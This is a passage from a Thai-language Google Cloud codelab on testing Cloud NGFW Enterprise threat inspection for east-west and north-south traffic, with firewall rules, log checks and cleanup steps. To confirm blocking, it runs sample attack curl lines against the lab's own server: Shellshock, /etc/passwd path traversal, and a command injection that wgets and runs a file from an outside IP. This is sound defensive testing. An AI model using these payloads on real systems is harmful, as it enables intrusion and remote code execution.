--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
ผลลัพธ์ที่คาดไว้
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
กฎ 7000:
gcloud compute network-firewall-policies rules describe 7000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
ผลลัพธ์ที่คาดไว้
---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
layer4Configs:
- ipProtocol: tcp
ports:
- '80'
- ipProtocol: tcp
ports:
- '443'
srcIpRanges:
- [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
state: EFFECTIVE
เปลี่ยนกลับไปที่ VM ของไคลเอ็นต์ แล้วส่งการโจมตีตัวอย่างไปยัง IP ของเซิร์ฟเวอร์ภายในอีกครั้ง (การตรวจสอบฝั่งตะวันออก-ตะวันตก / ภายใน VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
ส่งการโจมตีตัวอย่างไปยัง IP ของเซิร์ฟเวอร์ภายนอกผ่าน Cloud NAT (การตรวจสอบขาเข้าจากภายนอก) อีกครั้ง
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
ไม่ได้รับการตอบกลับสำหรับการโจมตีครั้งแรกตามเอาต์พุตที่คาดไว้ด้านล่าง ซึ่งยืนยันว่าตอนนี้ระบบบล็อกการโจมตีที่มีความรุนแรงสูงแล้ว
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
ไปที่ความปลอดภัยของเครือข่าย > ภัยคุกคามใน Cloud Console เพื่อยืนยันบันทึก (คุณอาจต้องรีเฟรช 2-3 ครั้งหากการโจมตียังไม่แสดง)

เลือกการโจมตีรายการใดรายการหนึ่ง แล้วคลิก "ดูบันทึกการตรวจสอบ" ทางด้านขวา (เปิดในแท็บใหม่เพื่อสลับกลับได้ง่ายๆ) ขยายการโจมตีเพื่อแสดงรายละเอียด

ไม่บังคับ: แทนที่ตัวกรอง Log Explorer ด้วยการค้นหาด้านล่าง
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
รายการบันทึกภัยคุกคามควรมีลักษณะดังนี้

คุณสามารถยืนยันแพ็กเก็ตที่ไฟร์วอลล์ระบบคลาวด์สกัดกั้นได้โดยใช้ตัวกรอง Log Explorer ด้านล่าง (มีประโยชน์ในการแก้ปัญหา)
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

ไปที่การตรวจสอบการรับส่งข้อมูลทางอินเทอร์เน็ต (ไม่บังคับ) หรือปิดเซสชัน SSH แล้วไปที่บทถัดไปเพื่อดูขั้นตอนการล้างข้อมูล
[ไม่บังคับ] การตรวจสอบการรับส่งข้อมูลทางอินเทอร์เน็ต
ตามที่ยืนยันในส่วนก่อนหน้า โฟลว์ที่ตรวจสอบจนถึงตอนนี้คือการรับส่งข้อมูลภายในซับเน็ต/VPC (East-West) และการรับส่งข้อมูลขาเข้าจากอินเทอร์เน็ต (North-South inbound) นอกจากนี้ คุณยังกำหนดค่า Cloud NGFW Enterprise ให้ตรวจสอบการรับส่งข้อมูลทางอินเทอร์เน็ตทั้งหมด (ขาออกทางเหนือ-ใต้) ได้ด้วยการสร้างกฎขาออกใหม่โดยใช้ Cloud Shell ดังนี้
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
สลับกลับไปที่ VM ไคลเอ็นต์ แล้วส่งการโจมตีที่มีความรุนแรงสูงไปยัง IP ของเซิร์ฟเวอร์ภายนอกอีกครั้ง
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
ผลลัพธ์ที่คาดไว้
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
เปลี่ยนไปที่แท็บภัยคุกคามใน Cloud Console เพื่อยืนยันบันทึก (คุณอาจต้องรีเฟรช 2-3 ครั้ง) ระบบควรระบุและบันทึกการโจมตีอีกครั้ง แต่ตอนนี้ IP ต้นทางเป็น IP ภายในเนื่องจากมีการทริกเกอร์กฎขาออกก่อน

ปิดเซสชัน SSH และไปที่ส่วนถัดไปเพื่อดูขั้นตอนการล้างข้อมูล
8. ขั้นตอนการล้างข้อมูล
การล้างข้อมูลคอมโพเนนต์ของ Cloud NGFW Enterprise
แสดงรายการการเชื่อมโยง Cloud NGFW Enterprise ที่มีอยู่
gcloud network-security firewall-endpoint-associations list
ลบการเชื่อมโยง Cloud NGFW Enterprise
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
แสดงรายการปลายทาง Cloud NGFW Enterprise ที่มีอยู่
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
ลบปลายทาง Cloud NGFW Enterprise ซึ่งอาจใช้เวลาประมาณ 20 นาที
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
ยืนยันว่าลบ Cloud NGFW Enterprise แล้วโดยเรียกใช้คำสั่งด้านล่าง
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
ลบกลุ่มโปรไฟล์ความปลอดภัยและโปรไฟล์การป้องกันภัยคุกคาม
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
การล้างข้อมูลการตั้งค่าพื้นฐาน
ไปยังขั้นตอนถัดไปหากต้องการลบทรัพยากรพื้นฐาน
กำหนดตัวแปรสภาพแวดล้อมหากจำเป็น จาก Cloud Shell ให้ลบคอมโพเนนต์ของ Network Load Balancer ดังนี้
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
วิธีนำอินสแตนซ์ออก
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
คุณเลือกทำตามขั้นตอนด้านล่างได้หากมีการเปลี่ยนแปลงบทบาท tagAdmin และ tagUsers
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
วิธีนำคีย์และค่าของแท็กออก
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
ลบนโยบายเครือข่ายไฟร์วอลล์ของ Cloud และการเชื่อมโยง
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
ลบ Cloud Router และ Cloud NAT
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
ลบที่อยู่ IP ที่สงวนไว้
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
สุดท้าย ให้ลบซับเน็ตและเครือข่าย VPC โดยทำดังนี้
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. ยินดีด้วย
ยินดีด้วย คุณทำ Codelab Cloud NGFW Enterprise สำหรับการตรวจสอบทิศทาง East-West และ North-South เสร็จสมบูรณ์แล้ว